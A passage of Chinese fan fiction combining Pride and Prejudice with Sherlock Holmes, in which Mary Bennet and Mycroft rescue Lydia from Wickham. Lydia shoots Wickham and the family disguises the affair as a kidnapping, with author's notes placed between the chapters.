玛丽没有力气,麦考福特不得不将餐叉放在她的手里:“难道你就这样去面对那个维克汉姆么?甚至没有力气给他点教训?” 听到这个名字,玛丽似乎才回过神,看着面前的烤肠,仿佛就是那个维克汉姆的脸,玛丽的叉子狠狠的戳了下去:“我要给他来上一枪!!不,好几枪!” 听到玛丽振作起来的话语,麦考福特微微一笑:“是的,我会给你准备好一切,你可以打空一个弹匣!” 玛丽恶狠狠的咀嚼着烤肠,然后又塞下一个鸡蛋:“还有莉迪亚,我必须给她一点教训,狠狠的揍她一顿!!” 关于这一点,麦考福特就不方便插嘴了。 玛丽咽下嘴里的东西,有些别扭的询问麦考福特先生:“那个维克汉姆,能受到什么惩罚?!” 麦考福特将手边上的热汤推到玛丽的面前:“任何你想要他受到的处罚,玛丽小姐。虽然这么说可能有些炫耀的意思,但是处决一个逃兵这点小小的权力我还是有的,而你,玛丽小姐,你可以与我共享我的权力。” 89 第89章 两人一路紧赶慢赶,感恩老天爷给了面子,第二天雨就停了,虽然路面还是很泥泞,但是没有下雨,怎么都要稍微好上那么一点的。 几乎算得上日夜兼程,两人终于提赶到了贝德福德,麦考福特到了当地的第一时间就是先安排了两人的住宿问题。 贝德福德作为赫特福德郡几乎算是暗地里最出名的一片地区,很是受到上面的关注,相比之下,双方的人马都很复杂交错。 麦考福特将玛丽送到了一个寓所,这里位于镇上,周边热闹繁杂,没有伦敦贝克街那么清静,玛丽站在窗边甚至都能听见楼下摊贩的叫卖声。 玛丽坐在靠窗的椅子上,整个人都显得有些呆愣愣的,麦考福特站在门口敲敲门,玛丽回过头看去。 麦考福特提起手上的巷子:“在镇上临时购买的一些衣物,你需要洗个澡休息一会,玛丽小姐。” 玛丽确实已经两天没有换衣服了,这让她感觉有点难受,但是心里总是七上八下的:“我们不该现在出去找莉迪亚么?” 麦考福特看出玛丽有些恍惚的状态,将箱子放在门边上:“是的,但是这也是在你洗个澡,换一身衣服,休息一会之后,玛丽小姐,折磨自己,并不能解决问题,你在试图通过伤害自己来抵消负罪感,这对问题本身并不能有任何助益,反而会影响问题的解决。” 玛丽被麦考福特牵着手送到盥洗室边上,看着他沉静的双眼:“如果……如果这段时间出了什么问题,怎么办。” 麦考福特捧着玛丽的脸颊:“不会出问题的,现在,冷静一下,洗个澡,换身衣服,我会安排好一切。” 玛丽:“我……我……我真是没用。” 说完玛丽忍不住感到一阵无力的愤怒,她一路颠簸的赶到这里,只是为了听麦考福特先生的安排么?只是为了坐在这里,傻呆呆的自责? 麦考福特叹了口气:“玛丽小姐,不要这样说,就算是我,在面对这样的情况,唯一能做的也只是等待,我已经安排下去,去调查这段时间外来的人,那些黑旅馆,黑寓所,总要有些时间才能查探明白。” 玛丽的心里空落落的,整个人都恍恍惚惚。 麦考福特无奈的牵着她进入盥洗室,安排她坐在一边,盥洗室并不大,角落里摆放了一个大浴桶,中间用一个架子挡着,另一个角落摆放了一些棉布,麦考福特之前已经吩咐过女仆,此时浴桶已经装好了热水,麦考福特先是走到另一边,用一个铜盆接了一点热水,已经脱掉了外套的麦考福特又将袖扣解开放到一边,然后将袖子一圈一圈的卷起,用袖箍将袖子绑好,确保袖子并不会掉下来。 将小臂和手都清洗干净之后,麦考福特才走向另一边的架子,架子上那些棉布都很干净整洁,摆放的很有秩序,这让麦考福特很轻易就能看出他们的大小和厚度。 挑选了两卷长度和厚度都适中的棉布,麦考福特拿到了浴桶边上,将棉布展开,垫在浴桶之中。 木质的浴桶直接接触会有些凉意,用棉布隔着会更舒服一些,麦考福特平日里自己并不在乎,但是却不想玛丽在洗漱的过程中有任何的不愉快,将棉布沾水垫好之后麦考福特才来到玛丽的边上。 她在门口来回踱步,紧张的甚至开始咬手指。 麦考福特微微皱着眉,直接用力握住玛丽的手:“冷静下来,冷静玛丽!” 玛丽被强而有力的手握住,整个人不自觉的抬起头看向麦考福特先生 麦考福特低着头,双眼注视着玛丽,几乎称得上一字一顿:“你不是一个人玛丽,你有我,还有其他的朋友,我们都会帮助你,都会共同来解决这个问题,不要把所有的压力都扛在自己的身上,明白么!而且你要明白,目前这种情况,你不该责怪自己,而是应该责怪我。” 玛丽:“我……我不是一个人……我怎么能责怪你呢。” 麦考福特在玛丽的额头落下一个吻:“是的,你不是一个人,你再也不是一个人玛丽,你不需要自己跑来跑去的调查一切,你有我,还有你的同盟们,别忘了,布朗夫人也会收到消息,你的那些朋友,我没记错的话,叫玛格丽特夫人,对么?” 玛丽眼眶湿润,是的,她再也不是之前那个总是形单影只,一个人孤零零在这个世界上到处乱窜的小姑娘了,她有了同盟,有了伙伴……她们都会来帮助她的。 麦考福特:“现在,听我的,去洗个澡,换一身衣服,好好的休息一下,等你休息好了,我们会得到新消息的,别害怕,我们知道消息很快,他们来不及反应过来,不会伤害莉迪亚的。” 玛丽点点头,对,对,班纳特家在第二天就收到莉迪亚逃跑的消息了,他们行动的很快,维克汉姆如果要跑到贝德福德,顶多就比他们提前一两天,雷利不会那么快赶来,他们不会伤害莉迪亚的。 想到这里,玛丽仿佛一个年久失修的轴承,站起身,整个人一顿一顿的,脑子里原本空荡荡的,现在却填满了一条条的指令。 洗个澡,休息一下,对,她还要吃点东西,之后找到了莉迪亚,还有那个混蛋维克汉姆,她还要有力气揍那个混蛋呢! 玛丽下意识的开始解开腰间的扣子,准备去洗个澡。 麦考福特原本还想让女仆来照顾玛丽,结果玛丽根本不给他反应的机会,竟然当着他的面就解开了腰间的扣子。 几乎被吓了一跳,麦考福特立刻转身离开了盥洗室。 来到楼下,吩咐管家安排两个女仆上楼照看一下玛丽,麦考福特也来到了一楼自己的房间,急匆匆的擦了把脸,管家就送上了两个小时内调查出的消息。 准确来说,没有消息。 两个小时的时间太短了,他们只能将一些手边上知道的地方查探一番,藏的更深入的地方就不得而知了。 麦考福特对于这个结果不是很满意,但是从客观也知道,两个小时其实查不出什么有效的信息。 坐在桌边,麦考福特:“盯紧码头港口还有哪些交通点,别让任何一个人跑出去。” 临时安排来的管家连忙保证,他们虽然只是下属一个小驻地的工作人员,但是一定会珍惜这次表现的机会,绝不会让BOSS失望。 能让BOSS亲自来叮嘱的任务,如果表现的好,那岂不是可以调派去伦敦,或者去其他更好的地方。 对贝德福德这样地区的属员来说,可是上帝送到眼前的功绩! 几乎称得上是兴奋异常,管家走出了房间。 麦考福特靠在椅背上,抬手揉了揉额头,连续赶了两天的路,他的身体其实也有些疲惫,但是此刻绝不是休息的时候,他虽然这么劝导玛丽,但是自己又倔强的坐在这里空等。 半个小时之后,麦考福特听见一个敲门声,以为是管家送来了什么消息,麦考福特重新坐直身体:“进来。” 可是脚步声不一样,麦考福特看向门口,发现是玛丽。 头发还有些湿漉漉的,洗了澡的玛丽看上去状态稍微好了一些,热水烘的脸颊带着些许红晕,她手里捧了两杯热牛奶。 麦考福特看着玛丽:“怎么了?玛丽小姐。” 玛丽将两杯热牛奶放到桌上,自己坐到了麦考福特先生的对面:“喝点热的吧,麦考福特先生,我问了管家先生说你一直坐在这里等着消息。” 麦考福特看着还在冒热气的牛奶,恐怕是玛丽吩咐的,不然管家可不会给自己送这么甜腻腻的东西。 玛丽捧着热牛奶叹了口气:“现在我们只能等着,对么?” 麦考福特点点头:“是的,等待,我们只能等待。” 玛丽:“我也想出去看一看,我……我坐不下来。” 虽然不知道自己该去哪里,该找谁,该怎么找,但是玛丽坐不下来。 麦考福特还没回答,外面再次传来脚步,这次麦考福特听出来了,是管家,除了他还有另一个人。 玛丽也听见了脚步声,回过头,发现是管家带着一个女人进来了。 那女人看上去其貌不扬,非常普通,就算从别人面前经过100次,也不会给人留下印象的那种。 但是女人送来了一张纸条:“我们收到了布朗夫人的消息,今天早上我们整合了一下信息,整个贝德福德明面上一共27家旅馆寓所和酒吧可以住宿,除此之外还有35家背地里偷偷接待人的小旅店之类的地方,最近这些地方男女一同前来的,共有11对,分别住在这几家店里。” 这几乎要比麦考福特能得到的消息更加全面,更加直观。 所有的店在哪里,男女年龄,样貌,一切的一切都写的清清楚楚。 麦考福特抬头看了一眼这个女人,她还是那么普通,表情都没什么变化。 女人微微一笑:“夫人说,您欠她一个人情。” 麦考福特的手指敲了敲桌面,思考了片刻:“会有机会还的。” 女人点点头,转身离开了。 玛丽却连忙开口叫住她:“抱歉……我不是质疑……但是您……你们是怎么知道这么清楚的,这些消息?” 太快了,也太准确了,玛丽立刻能看出有三个人的信息比较像是莉迪亚。 女人打量了一眼玛丽:“我们想要知道,总会有办法的小姐。” 玛丽看着女人的手:“洗衣妇,厨娘?还有什么?” 看得出来,指关节粗糙,衣服的袖口还有一点油渍,但是衣服下摆有肥皂泡沫的痕迹。 女人笑着看向玛丽:“小姐,有什么可以好奇的呢?这个房间里现在只有四个人,女人就有两个,每一个家庭都有我们,我们是人类的一半,当我们想要做什么,总能做到的。” 旁边的管家先生脸都绿了,他们底下人还在外面到处收集信息,现在当着BOSS的面,他们的脸面能力,被丢在地上狠狠的踩着呢。 女人点点头,转身离开,这次玛丽没有再询问了。 感谢她,感谢布朗夫人…… 【作者有话说】 我们是女人,每一个家庭都有我们,我们是人类的一半, 再一章,解决维克汉姆 新预存两个坑,一个是YM的同人,男主汉弗莱,汉妃,小汉皮,另一个男主达西,有兴趣的朋友们可以预收一下QUQ谢谢 90 第90章 有三个明确目标的时候总要比无头苍蝇一样乱跑乱撞要好得多。 麦考福特立刻安排人员跟随,一同出门去一家一家的查看。 为了避免出现意外情况,麦考福特和玛丽都是便装前往,三家旅馆分别分散在镇子周边,都是一些不起眼的下城区角落。 玛丽换上一身灰扑扑的裙子,坐在马车上的时候脸色难看的很,她想到一种可能性。 麦考福特坐在她的旁边:“怎么了玛丽小姐?” 玛丽:“如果……我是说如果……莉迪亚已经和维克汉姆……” 虽然没有说的很直白,但是麦考福特听明白了玛丽的意思,麦考福特并没有觉得这算什么问题:“这要取决于你的想法,或者说,小莉迪亚的想法。” 玛丽看向麦考福特:“你是说……” 麦考福特单手环过玛丽的肩膀:“如果你的小妹妹确实很喜欢他,那么她可以拥有这个男孩,而如果你认为小莉迪亚或许不再喜欢他了,那么丧偶也是一个不错的选择,无关爱情,而在于权力,你是否希望莉迪亚拥有控制他的权力。” 玛丽冷静思索了片刻:“是的,我希望莉迪亚拥有这份权力,或许她自己还很懵懂,正如我当初对于爱情的态度,不理解,好吧,莉迪亚自以为自己理解爱情,可是在这样的*情况下,我更希望莉迪亚拥有一份权力,一份决定自己未来如何度过的权力。” 麦考福特微微一笑:“是的,所以我们该考虑的不是他们发生了什么,而是你的妹妹,是如何希望的。” 玛丽:“我不想控制她的人生……我只是希望,诶,现在说什么都是为时尚早。” 如果莉迪亚坚持要和这个维克汉姆在一起,那么家里人还能怎么办呢…… 两人一路顺着查看,在前两个旅店确认,都不是莉迪亚之后,时间已经接近傍晚,玛丽和麦考福特前往第三家旅店。 大约是运气好,两人一起进入旅店的时候正巧碰见莉迪亚和维克汉姆在楼下就餐。 玛丽和麦考福特对视了一眼,谁都没有上前,只是在角落里暗自查看,这家旅店是不是雷利的关系?有没有雷利的眼线? 麦考福特另一边的手下还在权力追踪雷利,如果这里的抓捕行动刺激到了雷利,说不定他会藏的更深。 玛丽坐在角落里,一眼就能看见莉迪亚他们那一桌,这个小旅店的一楼就是一个酒馆。 坐满了各色人马,车夫,烟囱清扫工人,洗衣妇,等等等等。 莉迪亚几乎算得上这里少有的体面人,穿着漂亮干净的裙子,肩膀上还搭着披肩,玛丽的位置只能看见她的侧面,发现莉迪亚嘟嘟囔囔的把披肩裹得更紧了一些,玛丽就知道,她一定是觉得有点冷了。 这个一楼的壁炉没多少柴火,与其说供暖,不如说照明的用处更多。 莉迪亚和维克汉姆面对面坐着,偶尔还会交换一个吻,玛丽看的快要气死了,这个傻姑娘,人家都快把她卖了,她还什么都不知道呢! 很快两人吃完就上了楼,莉迪亚环抱着维克汉姆的胳膊,仰着头叽叽喳喳的说个不停,玛丽明显看得出来维克汉姆带着一丝不耐烦。 可是莉迪亚这个傻姑娘什么都看不出来!竟然还靠在了维克汉姆的身上。 玛丽气鼓鼓的,一双眼睛都快瞪出来了。 麦考福特握着玛丽的手:“走吧。” 玛丽冷着脸和麦考福特一起走上了楼,刚才麦考福特已经安排人去预定了一间房间,也在二楼。 在跟着女仆上楼之后,两人装作收拾东西,等女仆离开,玛丽和麦考福特才一起走出了房间。 刚才他们上楼的时候已经看清楚了,二楼住的人并不多,除了他们这个房间,只有另外三个房间,其中两个屋子的门缝都是黑的,显然没有人,那就只剩下另外一个房间了。 玛丽上前敲了敲门,听见莉迪亚的声音:“是谁?亲爱的,有人敲门,你快去看看?” 两人听见脚步声走到门口,麦考福特整理好袖口,确保不会影响自己的行动,然后将玛丽拉到一边。 门打开的一瞬间,维克汉姆甚至还没反应过来,就被人一拳打在了脸上。 麦考福特面色平静,仿佛使用如此暴力手段的并不是他,在结结实实的给了维克汉姆一拳之后,玛丽顺着门缝钻进房间。 反手关上了房门之后,玛丽叉着腰看向莉迪亚:“安静!” 莉迪亚才不会听玛丽的:“你!你们怎么来了!真是没意思,我还想要等结婚之后再回去给你们一个惊喜呢!不过算了,你来都来了,我允许你做我的伴娘,还有你的这位麦考福特先生,可以做伴郎!不对,不对不对!你们怎么可以伤害我的乔治!快让他松开!” 麦考福特已经将手帕塞满了维克汉姆的嘴,双手也都用领带绑住,整个人压在地上,用枪口指着他的脸:“安静,明白么。” 玛丽拉着莉迪亚走到一边:“你真是气死我了!你知道他要做什么嘛?你知道这里是哪里么!你怎么可以什么都不知道的就和这样一个赌徒混混跑了!” 莉迪亚倔强的很:“我怎么了,他是我未来的丈夫,我爱乔治,他也爱我,他说了,他会为了我改变的,将来他会照顾好我的,难道你不该祝福我,找到了一个真爱么!” 玛丽气起来给了莉迪亚一巴掌,打在她的屁股上:“你这个大笨蛋!你真是个大笨蛋,他要卖了你!” 莉迪亚的第一反应是:“啊,你敢打我,我也要打你!” 两个女孩就这么在床上打来打去,玛丽根本打不过莉迪亚,被莉迪亚困住双手压在床边上:“快说对不起,快和我说对不起,不该打我!” 玛丽一边挣扎一边气喘吁吁的:“你到底听没听清楚我说什么,他要卖了你,卖了,你明白吗,他根本不打算和你结婚,你是被利用了!” 莉迪亚刚才只顾着和玛丽打架,根本没听清楚她说什么,此刻才听明白她的意思,放开玛丽的手坐在一边:“你说什么意思,你解释清楚!如果你不说明白,我就告诉妈妈!” 玛丽看着莉迪亚,这个傻姑娘,她眼里恐怕最大的矛盾,也就是和妈妈告状了,忍不住再次生气起来:“他被人利诱,抓了你,用你来威胁我……” 莉迪亚打断道:“为什么利用我威胁你?” 玛丽:“因为你是我的妹妹,我爱你!” 莉迪亚愣了一下,然后表面装作不在意的收拢了一下碎发:“哦,好吧,我知道了,毕竟我一直都是家里最讨人喜欢的。” 玛丽一时之间都不知道该说什么,还是旁边看了半天的麦考福特先生接上解释:“他和别人达成了约定,将你卖了,以此来抵押赌债。” 这么一说,莉迪亚就听明白了,她瞪大双眼看向维克汉姆:“什么,你把我卖了抵债!你卖了多少钱!” 这是重点么?麦考福特都为了这姑娘抓重点的能力感到惊叹。 看着维克汉姆被塞满了嘴巴没办法说话,莉迪亚来到两人的旁边:“可以让他说话么?” 麦考福特将手枪抵在维克汉姆的额头上,玛丽让麦考福特先生将维克汉姆拉到房间的座椅上,确保他的四肢都被困得结结实实不会跑走之后才扯开他嘴巴里的手帕。 维克汉姆果不其然立刻开始求援:“不,别听他们瞎说,亲爱的,我怎么会这么做呢!” 莉迪亚看着维克汉姆:“你卖了多少钱!” 维克汉姆还在诱骗莉迪亚:“不,压根没这回事,你怎么听信他们的一面之词,玛丽小姐只是嫉妒你,她嫉妒你得到了我的爱,所以才会污蔑我。” 莉迪亚做了一个所有人都难以置信的动作,她狠狠的给了维克汉姆一巴掌:“玛丽根本看不上你!她才不会因为你爱我而嫉妒我,玛丽很聪明!她才看不上你,你就连打牌都打不过我!” 维克汉姆愣住了,就连麦考福特都有些愣神。 莉迪亚气哼哼的再度问道:“多少,钱!玛丽不会骗我,你现在立刻告诉我,多少钱!” 维克汉姆咬着牙看向莉迪亚:“免除我在伦敦的赌债,除此之外还有1000英镑。” 莉迪亚想了想转过头看向玛丽:“我们的嫁妆有多少钱?” 玛丽看着莉迪亚,她的脑子此刻也有点发蒙:“1300英镑左右……” 莉迪亚转而又给了维克汉姆一巴掌:“你这个大蠢货,卖都卖不出好价钱,如果你和我结婚,还能获得1300英镑呢,结果只把我卖了1000英镑,你真是个蠢货!” 麦考福特看着玛丽,玛丽看着莉迪亚,莉迪亚盯着维克汉姆,然后转而看向麦考福特:“你们是不是找他有用?” 玛丽僵硬着脖子,点了点头:“也算是……” 莉迪亚撅着个嘴看向麦考福特:“如果把他交给你,能给我多少钱?” 麦考福特现在对这个小姑娘刮目相看了:“你想要多少?” 莉迪亚看向玛丽,拉着玛丽走到一边:“如果我坑了他一笔钱,你会生气么?” 玛丽的表情一言难尽:“你不生气么?那个混蛋欺骗了你,对了,你们有没有……” 莉迪亚摆摆手:“没有,他说想和我结婚,亏我还把他当做一个好先生,当初他打牌都打不过我的时候,我就该知道,他是个笨蛋。” 玛丽看了眼莉迪亚:“你也是个笨蛋。” 莉迪亚踩了玛丽一脚:“别以为我会原谅你打我屁股的事情,我回去要告诉妈妈!” 玛丽:“随便你告诉谁!我必须送你回家,莉迪亚,你不能这么……这么胡闹,你甚至没有自保的手段,你知道这里是哪里么?” 莉迪亚有些纳闷:“贝德福德呀,还能是哪里?” 玛丽握着莉迪亚的手:“这里,是地下拍卖场,很多女孩被绑架拐卖之后,都会在这里被卖掉……你不会想要知道她们的下场的。” 听到这里,莉迪亚才感觉到一阵后怕,她的手有点发抖:“他不会那么混蛋的……对吧,哪怕把我送回家,你们会给他钱的。” 玛丽看着莉迪亚:“难道你还对这样一个人渣抱有希望么?” 莉迪亚不说话了,她在面对维克汉姆和玛丽的时候一定会相信玛丽,因为玛丽是她最聪明的姐姐,是从小到大一起生活的姐姐,如今最聪明的姐姐已经告诉了她,那个混蛋男人会做什么,她有什么好质疑的呢。 玛丽看着莉迪亚:“我在路上和麦考福特先生聊过这件事,莉迪亚,我希望你拥有一份权力,一份决定自己未来如何度过的权力,现在这份权力在你的手里,你可以决定维克汉姆的下场,如果你喜欢他,麦考福特先生和我会帮助你得到他,如果你不喜欢他……” 莉迪亚:“他是个大骗子,我不想要他了……” 玛丽:“丧偶也是个不错的选择。” 莉迪亚愣了一下:“不能直接让他死掉么?就像是什么,意外啊之类的,他一个军官,送他去前线就好了呀。” 玛丽看着莉迪亚:“什么?” 莉迪亚看着麦考福特:“必须和他结婚才能让他死掉么?我不想和他结婚了,可以直接给他来一枪么?” 麦考福特看着玛丽和莉迪亚,莉迪亚的眼中有一种天真的残忍,她根本不理解死亡,也不理解自己说了什么,她只是……不喜欢这个混蛋,想要把他丢掉。 玛丽握着莉迪亚的手,莉迪亚还在奇怪的看向麦考福特先生:“你不是有枪么?给他来上一枪,不就解决问题了?难道很困难么?” 麦考福特倒是没觉得有什么,重新将手帕塞回维克汉姆的嘴里,免得他大喊大叫:“当然可以,后续我会解决这个……小小的问题的。” 说这句话的时候,麦考福特甚至带着淡淡的,安抚性的微笑。 莉迪亚点点头,拉着玛丽:“好吧,既然如此我还是收拾行李和你回去吧,玛丽你住哪里,我可不想再在这里住下去了,这里又脏又冷,真是一点都不舒服。” 开开心心的将衣服塞进箱子,莉迪亚拽着玛丽离开了旅店。 门口的人进去了两个,其中一个面容普通的则带着玛丽和莉迪亚下楼回到了马车上,莉迪亚晃悠着两条腿:“可以快点回家吧?我有点想念妈妈了。” 很快麦考福特先生也下楼坐上了马车,后面随行的两个人则是扛着一个麻袋从另一边走了过来。 麻袋里安安静静的,莉迪亚靠在窗口看着唉声叹气:“诶,还以为遇到了爱情,没想到,忽然就死掉了,真是倒霉。” 【作者有话说】 原著莉迪亚其实一直给我一种,懵懂的残忍的感觉,她会正大光明的说出一些特别伤人的话,做出一些特别伤人的事,永远以自我为中心,只要自己快乐,从来不管别人,谁要是让她不开心,立刻就报复回去。所以此处做了小小改编。[狗头叼玫瑰]莉迪亚,我滴神! 距离完结很快了,现在目前暂时预收两个坑,一个男主YM的汉弗莱,汉妃,另一个是达西,可以按照喜好收藏,到时候根据收藏量先后开坑,坑肯定会开的,放心。[垂耳兔头] 90-94 91 第91章 莉迪亚丝毫不把维克汉姆的生死放在心上。 对莉迪亚来说,与其关心维克汉姆,不如关心关心晚上在的住宿问题。 抓着玛丽的手指,莉迪亚一个接一个的蹦出自己的要求:“我要好好洗个澡,换一身衣服,我都没有带够衣服,最好有几件漂亮的裙子,到时候可以一起带回朗伯恩,凯蒂一定会羡慕我的,还有还有,晚上我想和你一起睡,玛丽……” 问到一半,莉迪亚凑到玛丽的耳朵边:“你这次是不是也是和福尔摩斯先生跑出来结婚的?” 玛丽沉着脸看向莉迪亚:“不,我不是!如果不是为了出来找你,我恐怕在伦敦待的好好的呢!” 莉迪亚无所谓的耸耸肩,继而又靠近玛丽的耳朵边:“好吧好吧,不过你们也太大惊小怪的了,对了,你和这位福尔摩斯先生有没有?” 玛丽脸色通红的看向莉迪亚,她一双眼睛亮晶晶的,充满了好奇和兴奋,玛丽几乎是咬着牙看向莉迪亚:“你从哪里知道的这些事情!” 莉迪亚的小手指直接戳在玛丽的脸上:“你呀?” 玛丽按下莉迪亚的手:“我?” 莉迪亚一双腿伸直,漂亮的小皮鞋搭在地上,鞋尖互相触碰,发出哒哒哒的声音:“从你的书里看来的,你寄回来的小说我看了一下,然后从你的书柜里翻出来的。” 玛丽:“你还会看我的书?!” 莉迪亚气哼哼的:“你什么表情,好像我多么不学无术似的!” 玛丽确实觉得莉迪亚很是不学无术,她从来不爱看书,更别说看自己书柜里那些书籍了。 莉迪亚眼珠子乱转:“随便翻了翻,本来想找一些小说看看,结果偶然翻倒的,就好奇的看了看,啊原来是那么回事。” 玛丽发誓,她会把朗伯恩的所有书籍都放在自己未来的公寓里的,决不能给莉迪亚在胡乱看去了。 麦考福特坐在姐妹两人对面,发现她们有着许多相似的习惯,虽然长相区别很大,但是从行为举止来看,没人会怀疑她们的亲缘关系。 两人都会习惯性的嘟着嘴嘟嘟囔囔抱怨,放松的时候会伸直腿,哒哒哒的碰着小皮鞋,摇头晃脑的说话时候也都会不自觉的翻白眼,表达自己的不屑一顾。 只是在麦考福特看来,玛丽小姐更显可爱一些。 麦考福特咳嗽一声,打断了两姐妹小猫打架一样互相扒拉对方的手:“莉迪亚小姐接下来有什么打算?” 玛丽抓住了莉迪亚的手,按在自己的膝盖上,将自己的手搭在她的上面:“你跟着维克汉姆一起逃跑的事情,总要有个结果的,如果你们不打算结婚了,回去要怎么交代呢。” 莉迪亚抽回自己的手腕,两只手捧着脸:“就说我被他绑架了,你们听说这件事之后,前来救了我!多么刺激,多么惊险!多有意思啊!” 和小说情节一样,充满戏剧性,到时候回到朗伯恩,她一定会成为话题中心,所有人都会关注她的! 玛丽仔细思索:“如果你确定想要这样,那么我们就得开始制作一些证据了。” 麦考福特看了眼玛丽,是的,玛丽小姐对家人就是有着无限的包容,哪怕如此离谱的事故,都可以帮小妹妹圆谎。 莉迪亚:“一定要充满坎坷,充满冒险,到时候一定会有许多人问我,我要表现出我的英勇不屈,坚韧不拔!” 太刺激了,莉迪亚感觉仿佛在玩一场特别有意思的游戏。 玛丽看着莉迪亚充满幻想和期待的表情,无奈的叹了口气,对面的麦考福特忍不住都带着点微笑:“那么,我们可以回去商量一下,如何完善这个故事。” 麦考福特的话让玛丽忍不住,偷偷瞪了他一眼。 现在他们都成了莉迪亚的“共犯”了 ———————— 朗伯恩在时隔一个星期之后终于收到了一个好消息,班纳特先生都快绝望了,这样不名誉的事情发生在他们家,接下来的几个孩子该怎么办呢。 但是现在,好消息一个接一个! 首先是莉迪亚已经成功找到了,总归孩子没什么事,这比任何消息都好了。 第二个不知道算不算好消息,但是也算不上特别坏的消息,莉迪亚不是私奔,是被绑架了! 上帝啊! 班纳特太太听到之后差点晕过去,幸好提前得知莉迪亚已经被解救出来,和玛丽在一起呢。 原来可怕的,无耻的维克汉姆先生欠下了许多赌债,他想要逃债,但是没有路费,于是绑架了外出散步的莉迪亚,然后强迫班纳特家递交赎金。 简直是下地狱都无法赎罪的恶行! 班纳特太太一边哭,一边和卢卡斯太太,以及自己的妹妹,菲利普斯太太诉说:“我们真是吓坏了,他甚至为了逃脱罪责,故意污蔑我们可爱的莉迪亚,简直无耻,可恨,再也没有比他更可恨的先生了,我会日日夜夜的诅咒他,诅咒他下地狱的!他就是个来自地狱的恶魔,一个专门来破坏我们家名誉的魔鬼!” 卢卡斯太太算是附近消息最灵通的人,原本莉迪亚的失踪就被说三道四,在得知莉迪亚被绑架之后,班纳特太太第一时间就把她邀请来家里,想要借此洗刷莉迪亚身上的谣言。 菲利普斯太太也跟着咒骂:“我就说他看上去不像是好人,我早就劝过莉迪亚的,不该相信这些人!” 班纳特太太握着妹妹的手:“是的呀,当初玛丽就说过他的问题,周围都是关于他的谣言!他还装出一副好先生的样子,其实我早就看穿他了,我还一直劝孩子们离他远一点!他太会花言巧语了,结果呢,没一个听我的!” 卢卡斯太太虽然不太相信,但是两人摆出了一大堆的证据,都是玛丽和麦考福特准备好的,从维克汉姆和别人约定好绑架运送的路线,预定的马车,等等口供消息。 班纳特太太转而用一种略带得意的语气:“你要知道,我的小玛丽,有一个绅士深深的为她着迷,说不定明年我们就得同时为简和玛丽一起举办婚礼了,那位先生很有一番能力,在白厅就职,要知道,能在哪里工作的,可都是大人物!” 这种家长里短的消息就是卢卡斯太太的专长了,什么绑架,勒索,上帝啊,这种消息太可怕了,光是听一听,卢卡斯太太就觉得自己要喘不过气了,还是绅士淑女的爱情能让她充满兴趣。 麦考福特安排人送了玛丽和莉迪亚一起回到朗伯恩,除了他们的马车之外,另外安排了两个马车的人手跟随,一定确保两人的安全,至于他则是留下继续调查雷利,维克汉姆临死前为了活命交代和雷利约定好的时间和地点。 而他们决定送莉迪亚回去的时间距离和雷利的约定,也只是相差一天,麦考福特决定留在当地,而莉迪亚和玛丽则是回到朗伯恩去。 莉迪亚跟着玛丽坐了三四天的马车才回到朗伯恩。 一回到家,莉迪亚就开始呼天抢地的和妈妈哭诉起来,说维克汉姆是如何逼迫她写下那些逃跑的书信,是如何威胁她,简直太可怕了,她遭受了难以想象的恐吓,上帝啊,她都快被吓死了。 看到莉迪亚面不改色的说谎,造谣,玛丽不得不佩服她,这是自己无法拥有的能力! 莉迪亚抱着班纳特太太的腰,趴在她的怀里,有声有色的形容,她当时多么的弱小无助,在听见维克汉姆是如何声色俱厉,面容丑恶的威胁她之后,她差点就吓晕了,她卑微的恳求维克汉姆放过她,可是却被狠狠的责骂,还威胁她。 伊丽莎白坐在玛丽的旁边,面色黑沉沉的,她走到玛丽的旁边小声的询问:“莉迪亚在说谎对么。” 玛丽看了眼伊丽莎白,然后低下了头:“她安全回家了。” 伊丽莎白瞪了一眼玛丽:“都怪你们,把她宠坏了!才会做出这样的事情。” 玛丽轻轻拽着伊丽莎白的手指:“好了,只要结果是好的,别再责怪她了。” 伊丽莎白有些恨铁不成钢的意思,看了一眼玛丽,她看得出来,莉迪亚最多也就是吃了一丁点,最多一茶匙的苦头! 玛丽不得不拍了拍伊丽莎白的手安抚她:“莉迪亚确实差点被拐卖,这一点是实话,她也确实吓到了,以后不会再乱跑了。” 伊丽莎白瞥了一眼缩在妈妈怀里提出各种要求,晚上要吃妈妈最擅长的烤小羊排,要吃这个,要吃那个的。 “那个混蛋怎么样了?” 玛丽低着头,用一种非常小声的气音回答,以至于伊丽莎白以为自己听错了。 伊丽莎白拉着玛丽走到另一边,确保所有人都不会听见的地方,看了一眼会客厅的所有人,没人在意她们两个,大家的关注点都在莉迪亚的身上。 拉着玛丽的手,伊丽莎白再次询问:“我是不是听错了,你刚才说了什么?那个混蛋怎么了?” 玛丽仿佛再次回到当时的场景,整个人从脊椎冒出一丝僵硬的寒冷:“死了。” 伊丽莎白的手顿时一紧:“不,我是说你刚才说的话,你完完整整的那句话。” 玛丽再次看了一眼笑嘻嘻的趴在妈妈怀里的莉迪亚,莉迪亚甚至还冲她眨了下眼睛,仿佛什么都没发生一样,玛丽有些僵硬的露出微笑,转而看向伊丽莎白:“死了,被莉迪亚,一枪打死了。” 维克汉姆自以为莉迪亚只是一个愚蠢的傻乎乎的小姑娘,傲慢的认为他的花言巧语可以骗过莉迪亚,结果只得到了莉迪亚不屑一顾的一枪。 莉迪亚就像是一个得到新玩具的孩子,在玛丽和麦考福特的指点下打开保险,仿佛打鸭子,打飞鸟一样,随便给了维克汉姆的心脏一枪,甚至一句再见都没说。 她只是抱怨:“我的手腕好痛!” 【作者有话说】 维克汉姆下线! 请不要质疑莉迪亚的金手指,我给开的,我爱这个角色,我愿意给她开一点无伤大雅的金手指。之前看过一个问题,为什么很多作者说爱A角色,却一直让A吃苦,一直受虐,转而另一个角色稍微心痛,A就回心转意,重新舔狗。 说实在的,如果真的爱一个角色,怎么可能忍心不给她金手指,不让她爽呢。莉迪亚在我的故事里,只是一个小姑娘,给她小开一下,玛丽才是真正开金手指的,一路遇贵人,所愿皆得。[让我康康] 距离完结很快了,现在目前暂时预收两个坑,一个男主YM的汉弗莱,汉妃,另一个是达西,可以按照喜好收藏,到时候根据收藏量先后开坑,坑肯定会开的,放心。[垂耳兔头] 92 第92章 玛丽只在家里住了两天又回去了伦敦,万万没想到,麦考福特先生也回到了伦敦,算算时间,他几乎算得上快马加鞭了。 在得知玛丽回来后的当天下午,麦考福特就来到了贝克街。 这次的麦考福特先生就没有之前赶路时的狼狈了,重新恢复了风度翩翩的模样。 看到麦考福特先生穿着西装站在客厅的样子,玛丽一时之间竟然有些脸红。 